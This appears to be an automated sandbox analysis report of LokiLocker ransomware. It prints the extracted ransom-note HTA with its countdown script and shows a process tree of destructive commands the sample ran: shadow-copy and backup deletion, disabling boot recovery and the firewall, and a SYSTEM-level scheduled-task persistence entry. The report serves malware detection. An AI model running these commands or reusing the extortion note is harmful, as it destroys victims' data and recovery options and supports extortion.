Analysis
- max time kernel
149s - max time network
153s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
21/04/2026, 06:48
General
- Target 2026-04-21_dac209d2132049d7a6fad0f70195f6d2_drokbk_elex_rhadamanthys_smoke-loader_stealc_stop_tofsee.exe
- Size 539KB
- Sample260421-hkstdadv4w
- SHA256 e4dbe81cc1694fd77f8d8239d6dcdc29020da05184d8d12c9fa5217d286a15fb
Malware Config
Extracted
-
F:\info.hta
- <html><head> <title>Loki locker</title> <HTA:APPLICATION ICON='msiexec.exe' WINDOWSTATE="maximize" SINGLEINSTANCE='yes' SysMenu="no" contextmenu="no" scroll="yes"/> <meta http-equiv="x-ua-compatible" content="IE=9"/> </head><style type="text/css"> body{background-color: #000000; font-family: Arial, Helvetica, sans-serif;}.header{text-align: center;}#t{color: #FF0000; font-weight: bold; font-size: 1.51vw; margin-bottom: 0;}p{font-size: 1vw; color: white; margin-bottom: 0;}.t{text-align: left; margin-left: 2px;}.pt{color: white; font-weight: bold; text-indent: 10px; height: 30px; line-height: 30px; padding-top: 10px; font-size: 1.1vw;}.b{padding: 2px; outline: none;}ul{font-size: 1vw;}.m{background: rgb(189, 54, 54); padding: 1px 5px; font-weight: bold;}#tm{color: red; border-bottom: 0; font-size: 2vw;}</style><script>var countDownDate = new Date(2026,4,21,7,53,59).getTime(); var x = setInterval(function () { var now = new Date().getTime(); var distance = countDownDate - now; var days = Math.floor(distance / (1000 * 60 * 60 * 24)); var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60)); var seconds = Math.floor((distance % (1000 * 60)) / 1000); document.getElementById("tm").innerHTML = days + "d," + hours + ":" + minutes + ":" + seconds + " LEFT TO LOSE ALL OF YOUR FILES"; if (distance < 0) { clearInterval(x); document.getElementById("tm").innerHTML = "TIMER IS UP.SAY BYE TO YOUR FILES :)"; WshShell = new ActiveXObject("WScript.Shell"); WshShell.Run("C:\\ProgramData\\winlogon.exe", 1, false); } }, 1000);</script><body> <div class="header"> <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAK8AAAAnCAMAAABOr+jyAAABdFBMVEUAAADgAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAncAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAn/AAjgAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAniAAneAAngAAngAAngAAngAAngAAngAAnjAAjkAAjgAAngAAngAAngAAngAAngAAngAAngAAkDAxDgAAngAAn+AAfgAAngAAngAAngAAngAAnoAAngAAnlAAjgAAnRAAkqAg9OAg18AQz/AAj5AAh2AQyRAQvxAAj/AAh0AgzDBAv/AAj/AAeDAQyIAQz9AAiSAQvgAAn/AAfdAAldAg35AAh7AQz8AAjfAAntAAhQAg1zAQyYAQvmAAn0AAhnAg0mAg9DAg5jAg24AAoZAg/XAAkrAg6JAQynAQvHAQrPAApwPHAhAAAAYnRSTlMAtD2d9frCWBHLJfPiIKyfTjkB7Ylj8eqCaDHchWs1Lg7q0L+wbwnHRBwVBea8uKSSi3U7K5d+eVsWB9SyqZQZ07aP/NXEimBeVUtJQCjz1vKKivPz8+zs6ebZy6mVh2NfO70OGdUAAAUaSURBVFjD7ZdXVxpBFIBvJGtBXJHeIoQIoSMoYESINSZG03vPsCGIvaT/+czMHdgFl4A+eA7n5HuZmXXH+fbOnQL85z9tmLatVuv1Fy9rLugLRgmlsrtXzUBfgL5f96o26AseKESh8e0b37d1pV7ZPfpe7xPf6INqbefoe1XpE1/Y/P1jp1pTSL/4wsfdSl0h232yP1DuEIUo9TvQN8hEqR08hr7BEqwdfLuwb9y24IILdw6Hw/PncuWbxKOV417zwTNNGQOVQUKIDEg2nU4bwtA70w6HYxHOQRYYn3cqva43N6FE1PYkYYgPWGT1GPROib4/CueAhHjxaX8ZemOIKU108L1Cq1eHoXcMtIPpXL7KJi+n5Av6wg3aLsFl+Tpqj3hsbs1c1NfiKhXg0nyf7a+8wQV6MV/k8nwfrJxUkvBPbptD2bv+s75GyowFxmgR7ew7ll0IFpMZ7fTFrpVGimuGuXmN77rP5ysPAWNgebAYlN0B4NjpH+7BvYXFQd5cOazsKznozFZaIoyRoTbfKVYpWSBIi1RHXxsRLERBULhKEL/qG+EPBlhiLhDEOQeMBK3eLLAHvPmU6hJSgE6skybpFt9r/H/GcQ9LdvC1DKrdHWKK0KfVN8w/YYNNh1Ptca2xvUu8PzCeE4U17oE+d4mGpabvABj5EyMAjNDySgffJFERfxhXH8w2fVOsucw+0ISxHeWFB30F+HtoGxuToMdYYygssswXPb2ssMO/fed4L2tpvMgrUwAwQzgpw5STTAhffC8IFBerlbfiw3fZkCNN3xGDvIq+BLHeBh1kLuuOxiLYLSB8LTwbZOjim+BpFACRPcQoIj5CKxB2i3xI4VwxgTCb+RCGSuId0DfDQt/iq3tf9xCKtMXrazyj0NeRYQ0vdPGd5G6adeeCYZH1CPquelmvDdY0s/Em/R7KGPtYN/o6gaP6bisHevedAg6ipoaMvhIul26+Ic1VY57N7xKmQx60vkgCGumACYqlD32Tbb7KQeX0id5ujqsCeYjBGlKXbzdfH04zEuTdzfgJ7b4YSoAyacWm71v/c/xNzzetXmWwY1DrK4W7+Lq03b1sH4UN9sis52vl18s23xAOe6PNt/LliLyHW1EcKeCJ3aLQ1jKh3AfEih1VX+Lq4mvHuGnSCVeEod3XhC9iAkrmBpH7MX3f6slpRZEkIvnFjUuiEBn3GTwHcYVPN3zX2RDSvJ6vo3U3tOK5msIMijs0m2dc+NpijQAPtJ8F+r61w70qZn2MXxisYrsMJBr7ONznjyaEbx5yGGAdXylkR2Jwk28jEQvMymI7xH6SPQDzmzLbf1F0qbEenOqUBOxrY118WYYxZtFXzCh5aMtf4ZWgel5EMYPP+qpsggcrJi+WeRYLrDq8zuZ57AV80do8T1cNmdwNB/u+DvlweFoRvAOGWfjyCKkYNfcHGQPcyRdfymNNG4v1s+cxjoMBTrUe4B3W28nxz6/I7gdgZIVv+CFRMYPGd4tgBrf4ptp8wac2kxZ1V0Y8eJtINBJ3lL2xRFSGxZcMtvke/Nr5Itj5kgVGDn0hniaC4kzr781BPge4bywCsqb1HeB5L2bIlIUGM+KrJCPO0lWgrDbP2JCJIF4XOweLmIcNvJLT6Uy8ut7gdWUfV+8SGQfORDlodXjlOUAmxylGluSsYrBAnhYhQGYHNAREh9B0Ob9hAQ2z7kzONxelNSN9j48XYz0wIpZIoZzzuVED/PS5H/qSv7z4WsN9vITEAAAAAElFTkSuQmCC"> <h1 id="t">All your files have been encrypted by Loki locker!</h1> <h2 id="tm"></h2> <p>All your files have been encrypted due to a security problem with your PC. <br>If you want to restore them, please send an email <span class="m">[email protected]</span> </p><br></div><p class="t"> You have to pay for decryption in Bitcoin. The price depends on how fast you contact us. <br>After payment we will send you the decryption tool. <br>You have to 48 hours(2 Days) To contact or paying us After that, you have to Pay <b>Double</b>. <br>In case of no answer in 24 hours (1 Day) write to this email <span class="m">[email protected]</span> <br>Your unique ID is : <span class="m">213FD3A1</span> </p><br><div class="b" style="background-color: #FF0000;"> <div class="pt">You only have LIMITED time to get back your files!</div><ul style="color: white; margin-top: 0;"> <li>If timer runs out and you dont pay us , all of files will be DELETED and you hard disk will be seriously DAMAGED.</li><li>You will lose some of your data on day 2 in the timer.</li><li>You can buy more time for pay. Just email us.</li><li>THIS IS NOT A JOKE! you can wait for the timer to run out ,and watch deletion of your files :) </li></ul> </div><br><div class="b" style="background-color: rgb(78, 78, 78);"> <div class="pt">What is our decryption guarantee?</div><ul style="color: white; margin-top: 0;"> <li>Before paying you can send us up to <u>3 test files</u> for free decryption. The total size of files must be less than 2Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.)</li></div><br><div class="b" style="background-color: #FF0000;"> <div class="pt">Attention!</div><ul style="color: white; margin-top: 0;"> <li><u><b>DO NOT</b> pay any money before decrypting the test files.</u></li><li><u><b>DO NOT</b> trust any intermediary.</u> they wont help you and you may be victim of scam. just email us , we help you in any steps.</li><li><u><b>DO NOT</b> reply to other emails.</u> ONLY this two emails can help you.</li><li>Do not rename encrypted files.</li><li>Do not try to decrypt your data using third party software, it may cause permanent data loss.</li><li>Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.</li></ul> </div></body></html>
-
class="m">[email protected]</span>
-
class="m">[email protected]</span>
-
http-equiv="x-ua-compatible"
Signatures
- Family: LokiLocker
LokiLocker is a ransomware that has been active since 2021.
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Detects executables packed with ConfuserEx Mod Beds Protector 2 IoCs
- Detects executables packed with unregistered version of .NET Reactor 64 IoCs
- Disables Task Manager via registry modification
- Modifies Windows Firewall 2 TTPs 2 IoCs
- .NET Reactor proctector 64 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Drops startup file 3 IoCs
- Executes dropped EXE 1 IoCs
- Drops desktop.ini file(s) 27 IoCs
- Enumerates connected drives 3 TTPs 3 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Sets desktop wallpaper using registry 2 TTPs 1 IoCs
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 23 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Control Panel 2 IoCs
- Modifies registry class 8 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 23 IoCs
- Suspicious use of AdjustPrivilegeToken 48 IoCs
- Suspicious use of WriteProcessMemory 22 IoCs
- System policy modification 1 TTPs 2 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-04-21_dac209d2132049d7a6fad0f70195f6d2_drokbk_elex_rhadamanthys_smoke-loader_stealc_stop_tofsee.exe"C:\Users\Admin\AppData\Local\Temp\2026-04-21_dac209d2132049d7a6fad0f70195f6d2_drokbk_elex_rhadamanthys_smoke-loader_stealc_stop_tofsee.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Drops startup file
- Drops desktop.ini file(s)
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\Admin\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\Admin\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1qm2lio5\1qm2lio5.cmdline"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2F1A.tmp" "c:\ProgramData\CSCD7D467FAECA941409BC57765E0C5E6D7.TMP"3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin DELETE SYSTEMSTATEBACKUP2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} recoveryenabled no2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C netsh advfirewall set currentprofile state off2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set currentprofile state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C netsh firewall set opmode mode=disable2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Get-ADComputer -filter * -Searchbase '%s' | foreach{ Invoke-GPUpdate -computer $_.name -force -RandomDelayInMinutes 0}"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C defrag /C /H2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 79562⤵
- Program crash
-
-
C:\Users\Admin\AppData\Roaming\winlogon.exeC:\Users\Admin\AppData\Roaming\winlogon.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4136 -ip 41361⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Windows Management Instrumentation
1Persistence
Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Indicator Removal
1File Deletion
1Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
1y2oj24z.exe
winlogon.exe
RES2F1A.tmp
__PSScriptPolicyTest_zqwywnt3.5vk.ps1
Restore-My-Files.txt
Cpriv.Loki
info.hta
CSCD7D467FAECA941409BC57765E0C5E6D7.TMP
1qm2lio5.0.cs
1qm2lio5.cmdline
esmq2fhd.ico
memory/4136-46-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-86-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-24-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-124-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-116-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-114-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-130-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-128-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-126-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-112-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-110-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-108-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-106-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-104-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-102-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-100-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-92-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-90-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-89-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-28-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-82-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-80-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-78-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-76-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-74-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-72-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-70-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-68-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-66-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-64-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-62-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-60-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-58-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-121-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-122-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-118-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-30-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-96-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-94-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-84-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-52-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-50-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-48-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-16-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-42-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-40-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-38-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-32-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-98-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-14-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-24568-0x0000000008080000-0x0000000008128000-memory.dmp
memory/4136-22-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-20-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-56-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-54-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-44-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-36-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-34-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-19-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-12-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-8-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-6-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-5-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-10-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/4136-3411-0x0000000005760000-0x00000000057C6000-memory.dmp
memory/4136-3421-0x00000000061F0000-0x0000000006282000-memory.dmp
memory/4136-3422-0x00000000062A0000-0x00000000062C6000-memory.dmp
memory/4136-3438-0x0000000006390000-0x00000000063AA000-memory.dmp
memory/4136-4-0x0000000004DD0000-0x0000000004E90000-memory.dmp
memory/4136-3440-0x0000000006500000-0x0000000006522000-memory.dmp
memory/4136-3441-0x0000000002910000-0x0000000002920000-memory.dmp
memory/4136-3922-0x0000000002910000-0x0000000002920000-memory.dmp
memory/4136-4483-0x0000000002910000-0x0000000002920000-memory.dmp
memory/4136-5293-0x0000000002910000-0x0000000002920000-memory.dmp
memory/4136-24567-0x0000000007E40000-0x0000000007EA1000-memory.dmp
memory/4136-0-0x0000000002910000-0x0000000002920000-memory.dmp
memory/4136-1-0x0000000004EA0000-0x0000000004F62000-memory.dmp
memory/4136-2-0x0000000002910000-0x0000000002920000-memory.dmp
memory/4136-3-0x0000000004F60000-0x0000000005506000-memory.dmp
memory/4136-26-0x0000000004DD0000-0x0000000004E8A000-memory.dmp
memory/5692-6883-0x0000000007E90000-0x0000000007EA1000-memory.dmp
memory/5692-6868-0x00000000068E0000-0x000000000692C000-memory.dmp
memory/5692-6869-0x0000000007AD0000-0x0000000007B04000-memory.dmp
memory/5692-6870-0x00000000702C0000-0x000000007030C000-memory.dmp
memory/5692-6877-0x0000000007B30000-0x0000000007B4E000-memory.dmp
memory/5692-6878-0x0000000007B50000-0x0000000007BF4000-memory.dmp
memory/5692-6879-0x0000000008320000-0x000000000899A000-memory.dmp
memory/5692-6880-0x0000000007C70000-0x0000000007C8A000-memory.dmp
memory/5692-6867-0x00000000068B0000-0x00000000068CE000-memory.dmp
memory/5692-6881-0x0000000007D00000-0x0000000007D0A000-memory.dmp
memory/5692-6866-0x00000000063A0000-0x00000000066F7000-memory.dmp
memory/5692-6882-0x0000000007F10000-0x0000000007FA6000-memory.dmp
memory/5692-6884-0x0000000007EC0000-0x0000000007ECE000-memory.dmp
memory/5692-6886-0x0000000007FD0000-0x0000000007FEA000-memory.dmp
memory/5692-6887-0x0000000007FC0000-0x0000000007FC8000-memory.dmp
memory/5692-6859-0x00000000062C0000-0x0000000006326000-memory.dmp
memory/5692-6858-0x0000000005AD0000-0x0000000005AF2000-memory.dmp
memory/5692-6857-0x0000000005C20000-0x000000000624A000-memory.dmp
memory/5692-6856-0x0000000003380000-0x00000000033B6000-memory.dmp
memory/5692-6885-0x0000000007ED0000-0x0000000007EE5000-memory.dmp